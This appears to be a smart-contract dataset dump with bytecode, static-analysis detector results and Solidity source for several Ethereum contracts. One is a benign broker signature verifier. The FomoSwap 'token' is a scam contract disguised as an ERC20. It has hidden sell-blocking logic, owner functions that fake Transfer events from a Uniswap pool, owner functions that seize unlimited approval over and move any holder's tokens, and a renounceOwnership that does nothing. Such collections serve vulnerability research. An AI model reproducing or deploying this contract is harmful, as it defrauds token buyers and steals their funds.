52603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c97826127b4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc957612cc8612c5d565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0a601783612692565b9150612d1582612cd4565b602082019050919050565b60006020820190508181036000830152612d3981612cfd565b9050919050565b600081519050612d4f81612788565b92915050565b600060208284031215612d6b57612d6a61274c565b5b6000612d7984828501612d40565b91505092915050565b6000604082019050612d976000830185612b58565b612da46020830184612b58565b9392505050565b6000819050919050565b6000819050919050565b6000612dda612dd5612dd084612dab565b612db5565b6127b4565b9050919050565b612dea81612dbf565b82525050565b600060c082019050612e056000830189612b58565b612e126020830188612860565b612e1f6040830187612de1565b612e2c6060830186612de1565b612e396080830185612b58565b612e4660a0830184612860565b979650505050505050565b600081519050612e60816127be565b92915050565b600080600060608486031215612e7f57612e7e61274c565b5b6000612e8d86828701612e51565b9350506020612e9e86828701612e51565b9250506040612eaf86828701612e51565b9150509250925092565b6000604082019050612ece6000830185612b58565b612edb6020830184612860565b9392505050565b600081519050612ef181612ad2565b92915050565b600060208284031215612f0d57612f0c61274c565b5b6000612f1b84828501612ee2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f80602483612692565b9150612f8b82612f24565b604082019050919050565b60006020820190508181036000830152612faf81612f73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613012602283612692565b915061301d82612fb6565b604082019050919050565b6000602082019050818103600083015261304181613005565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a4602583612692565b91506130af82613048565b604082019050919050565b600060208201905081810360008301526130d381613097565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613136602383612692565b9150613141826130da565b604082019050919050565b6000602082019050818103600083015261316581613129565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c8602983612692565b91506131d38261316c565b604082019050919050565b600060208201905081810360008301526131f7816131bb565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613234601983612692565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b6000613275826127b4565b9150613280836127b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b5576132b4612c5d565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f6601a83612692565b9150613301826132c0565b602082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b6000613337826127b4565b9150613342836127b4565b92508282101561335557613354612c5d565b5b828203905092915050565b600061336b826127b4565b9150613376836127b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133af576133ae612c5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f4826127b4565b91506133ff836127b4565b92508261340f5761340e6133ba565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613476602183612692565b91506134818261341a565b604082019050919050565b600060208201905081810360008301526134a581613469565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613508602a83612692565b9150613513826134ac565b604082019050919050565b60006020820190508181036000830152613537816134fb565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357381612776565b82525050565b6000613585838361356a565b60208301905092915050565b6000602082019050919050565b60006135a98261353e565b6135b38185613549565b93506135be8361355a565b8060005b838110156135ef5781516135d68882613579565b97506135e183613591565b9250506001810190506135c2565b5085935050505092915050565b600060a0820190506136116000830188612860565b61361e6020830187612de1565b8181036040830152613630818661359e565b905061363f6060830185612b58565b61364c6080830184612860565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368c601b83612692565b915061369782613656565b602082019050919050565b600060208201905081810360008301526136bb8161367f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ddec4f30c4ed3ea0d51f7a75aefbde5302b3a520f8c6154f9605cac98885556464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,113 |
0x31a0d1a199631d244761eeba67e8501296d2e383
|
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Eliptic curve signature operations
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
}
}
library Utils {
/**
* @notice Converts a number to its string/bytes representation
*
* @param _v the uint to convert
*/
function uintToBytes(uint256 _v) internal pure returns (bytes) {
uint256 v = _v;
if (v == 0) {
return "0";
}
uint256 digits = 0;
uint256 v2 = v;
while (v2 > 0) {
v2 /= 10;
digits += 1;
}
bytes memory result = new bytes(digits);
for (uint256 i = 0; i < digits; i++) {
result[digits - i - 1] = bytes1((v % 10) + 48);
v /= 10;
}
return result;
}
/**
* @notice Retrieves the address from a signature
*
* @param _hash the message that was signed (any length of bytes)
* @param _signature the signature (65 bytes)
*/
function addr(bytes _hash, bytes _signature) internal pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
bytes memory encoded = abi.encodePacked(prefix, uintToBytes(_hash.length), _hash);
bytes32 prefixedHash = keccak256(encoded);
return ECRecovery.recover(prefixedHash, _signature);
}
}
/// @notice RenExBrokerVerifier implements the BrokerVerifier contract,
/// verifying broker signatures for order opening and fund withdrawal.
contract RenExBrokerVerifier is Ownable {
string public VERSION; // Passed in as a constructor parameter.
// Events
event LogBalancesContractUpdated(address previousBalancesContract, address nextBalancesContract);
event LogBrokerRegistered(address broker);
event LogBrokerDeregistered(address broker);
// Storage
mapping(address => bool) public brokers;
mapping(address => uint256) public traderNonces;
address public balancesContract;
modifier onlyBalancesContract() {
require(msg.sender == balancesContract, "not authorized");
_;
}
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
constructor(string _VERSION) public {
VERSION = _VERSION;
}
/// @notice Allows the owner of the contract to update the address of the
/// RenExBalances contract.
///
/// @param _balancesContract The address of the new balances contract
function updateBalancesContract(address _balancesContract) external onlyOwner {
emit LogBalancesContractUpdated(balancesContract, _balancesContract);
balancesContract = _balancesContract;
}
/// @notice Approved an address to sign order-opening and withdrawals.
/// @param _broker The address of the broker.
function registerBroker(address _broker) external onlyOwner {
require(!brokers[_broker], "already registered");
brokers[_broker] = true;
emit LogBrokerRegistered(_broker);
}
/// @notice Reverts the a broker's registration.
/// @param _broker The address of the broker.
function deregisterBroker(address _broker) external onlyOwner {
require(brokers[_broker], "not registered");
brokers[_broker] = false;
emit LogBrokerDeregistered(_broker);
}
/// @notice Verifies a broker's signature for an order opening.
/// The data signed by the broker is a prefixed message and the order ID.
///
/// @param _trader The trader requesting the withdrawal.
/// @param _signature The 65-byte signature from the broker.
/// @param _orderID The 32-byte order ID.
/// @return True if the signature is valid, false otherwise.
function verifyOpenSignature(
address _trader,
bytes _signature,
bytes32 _orderID
) external view returns (bool) {
bytes memory data = abi.encodePacked("Republic Protocol: open: ", _trader, _orderID);
address signer = Utils.addr(data, _signature);
return (brokers[signer] == true);
}
/// @notice Verifies a broker's signature for a trader withdrawal.
/// The data signed by the broker is a prefixed message, the trader address
/// and a 256-bit trader nonce, which is incremented every time a valid
/// signature is checked.
///
/// @param _trader The trader requesting the withdrawal.
/// @param _signature 65-byte signature from the broker.
/// @return True if the signature is valid, false otherwise.
function verifyWithdrawSignature(
address _trader,
bytes _signature
) external onlyBalancesContract returns (bool) {
bytes memory data = abi.encodePacked("Republic Protocol: withdraw: ", _trader, traderNonces[_trader]);
address signer = Utils.addr(data, _signature);
if (brokers[signer]) {
traderNonces[_trader] += 1;
return true;
}
return false;
}
}
|
0x6080604052600436106100b95763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663472e191081146100be578063490618d1146101025780634a3d72a114610125578063506ee1ef1461015657806366874cc514610189578063715018a6146101aa5780638da5cb5b146101bf578063b8fd1e10146101d4578063c043df8c146101f5578063c684286814610222578063f2fde38b14610243578063ffa1ad7414610264575b600080fd5b3480156100ca57600080fd5b506100ee60048035600160a060020a031690602480359081019101356044356102ee565b604080519115158252519081900360200190f35b34801561010e57600080fd5b50610123600160a060020a03600435166103b8565b005b34801561013157600080fd5b5061013a6104b0565b60408051600160a060020a039092168252519081900360200190f35b34801561016257600080fd5b50610177600160a060020a03600435166104bf565b60408051918252519081900360200190f35b34801561019557600080fd5b506100ee600160a060020a03600435166104d1565b3480156101b657600080fd5b506101236104e6565b3480156101cb57600080fd5b5061013a610552565b3480156101e057600080fd5b50610123600160a060020a0360043516610561565b34801561020157600080fd5b506100ee60048035600160a060020a031690602480359081019101356105ef565b34801561022e57600080fd5b50610123600160a060020a0360043516610775565b34801561024f57600080fd5b50610123600160a060020a036004351661086f565b34801561027057600080fd5b50610279610892565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b357818101518382015260200161029b565b50505050905090810190601f1680156102e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b604080517f52657075626c69632050726f746f636f6c3a206f70656e3a20000000000000006020808301919091526c01000000000000000000000000600160a060020a038816026039830152604d80830185905283518084039091018152608d601f870183900490920283018201909352606d820185815260009392849261038d92859290918a918a918291018382808284375061091f945050505050565b600160a060020a031660009081526002602052604090205460ff161515600114979650505050505050565b600054600160a060020a031633146103cf57600080fd5b600160a060020a03811660009081526002602052604090205460ff16151561045857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f6e6f742072656769737465726564000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038116600081815260026020908152604091829020805460ff19169055815192835290517fe470a29f46ba9a09f7ec358ae2eb422a5a8f941f128ed7d8f5cf35278ab216409281900390910190a150565b600454600160a060020a031681565b60036020526000908152604090205481565b60026020526000908152604090205460ff1681565b600054600160a060020a031633146104fd57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b600054600160a060020a0316331461057857600080fd5b60045460408051600160a060020a039283168152918316602083015280517fa5d8d37e938531194e3b63a63c76ccbc603ebedcf3f3ebb9e02fc4ba843d34e29281900390910190a16004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6004546000906060908290600160a060020a0316331461067057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f6e6f7420617574686f72697a6564000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0386166000818152600360209081526040918290205482517f52657075626c69632050726f746f636f6c3a2077697468647261773a20000000818401526c01000000000000000000000000909402603d850152605180850191909152825180850390910181526091601f8901839004909202840182019092526071830187815291945061071a92859291899189918291018382808284375061091f945050505050565b600160a060020a03811660009081526002602052604090205490915060ff161561076757600160a060020a038616600090815260036020526040902080546001908101909155925061076c565b600092505b50509392505050565b600054600160a060020a0316331461078c57600080fd5b600160a060020a03811660009081526002602052604090205460ff161561081457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f616c726561647920726567697374657265640000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038116600081815260026020908152604091829020805460ff19166001179055815192835290517fd4ba9549a2404d1e5bedd0a4ae90c79e2b41ce4dea6bef98dc999fec1f2784939281900390910190a150565b600054600160a060020a0316331461088657600080fd5b61088f81610ad9565b50565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109175780601f106108ec57610100808354040283529160200191610917565b820191906000526020600020905b8154815290600101906020018083116108fa57829003601f168201915b505050505081565b600060608060006040805190810160405280601a81526020017f19457468657265756d205369676e6564204d6573736167653a0a0000000000008152509250826109698751610b56565b876040516020018084805190602001908083835b6020831061099c5780518252601f19909201916020918201910161097d565b51815160209384036101000a600019018019909216911617905286519190930192860191508083835b602083106109e45780518252601f1990920191602091820191016109c5565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610a2c5780518252601f199092019160209182019101610a0d565b6001836020036101000a03801982511681845116808217855250505050505090500193505050506040516020818303038152906040529150816040518082805190602001908083835b60208310610a945780518252601f199092019160209182019101610a75565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050610acd8186610c88565b93505b50505092915050565b600160a060020a0381161515610aee57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6060816000808381841515610ba05760408051808201909152600181527f300000000000000000000000000000000000000000000000000000000000000060208201529550610c7e565b600093508492505b6000831115610bc257600a83049250600184019350610ba8565b836040519080825280601f01601f191660200182016040528015610bf0578160200160208202803883390190505b509150600090505b83811015610c7a57600a85066030017f01000000000000000000000000000000000000000000000000000000000000000282600183870303815181101515610c3c57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85049450600101610bf8565b8195505b5050505050919050565b60008060008084516041141515610ca25760009350610ad0565b50505060208201516040830151606084015160001a601b60ff82161015610cc757601b015b8060ff16601b14158015610cdf57508060ff16601c14155b15610ced5760009350610ad0565b60408051600080825260208083018085528a905260ff8516838501526060830187905260808301869052925160019360a0808501949193601f19840193928390039091019190865af1158015610d47573d6000803e3d6000fd5b505050602060405103519350610ad05600a165627a7a72305820fa7c9b9e8721171cdd421234f90d798d9bc3b7aa2b385c2ad5b20f4e1f4dcbbb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 8,114 |
0x9d03057eB2db305c0F7E86d2de30FB01F40655d0
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract FomoSwap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2;
address public _owner = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2;
constructor () public {
_name = "FomoSwap";
_symbol = "FOMOSWAP";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, cr,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, cr,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f214610c0c578063d8fc292414610d78578063dd62ed3e14610ee4578063e30bd74014610f5c576101a9565b8063a9059cbb14610b52578063b2bdfa7b14610bb8578063bb88603c14610c02576101a9565b806395d89b41116100d357806395d89b411461096d578063a1a6d5fc146109f0578063a64b6e5f14610a5e578063a901431314610ae4576101a9565b80636bb6126e146108c757806370a082311461090b578063715018a614610963576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146107335780635768b61a146107815780636268e0d5146107c557806362eb33e31461087d576101a9565b8063313ce567146104375780633cc4430d1461045b5780634c0cc925146105c7576101a9565b8063043fa39e146101ae57806306fdde0314610266578063095ea7b3146102e95780630cdfb6281461034f57806318160ddd1461039357806323b872dd146103b1575b600080fd5b610264600480360360208110156101c457600080fd5b81019080803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184602083028401116401000000008311171561021557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fb8565b005b61026e611171565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611213565b604051808215151515815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611231565b005b61039b611338565b6040518082815260200191505060405180910390f35b61041d600480360360608110156103c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611342565b604051808215151515815260200191505060405180910390f35b61043f61141b565b604051808260ff1660ff16815260200191505060405180910390f35b6105c56004803603606081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104ae57600080fd5b8201836020820111156104c057600080fd5b803590602001918460208302840111640100000000831117156104e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611432565b005b610731600480360360608110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561061a57600080fd5b82018360208201111561062c57600080fd5b8035906020019184602083028401116401000000008311171561064e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106ae57600080fd5b8201836020820111156106c057600080fd5b803590602001918460208302840111640100000000831117156106e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506115a2565b005b61077f6004803603604081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092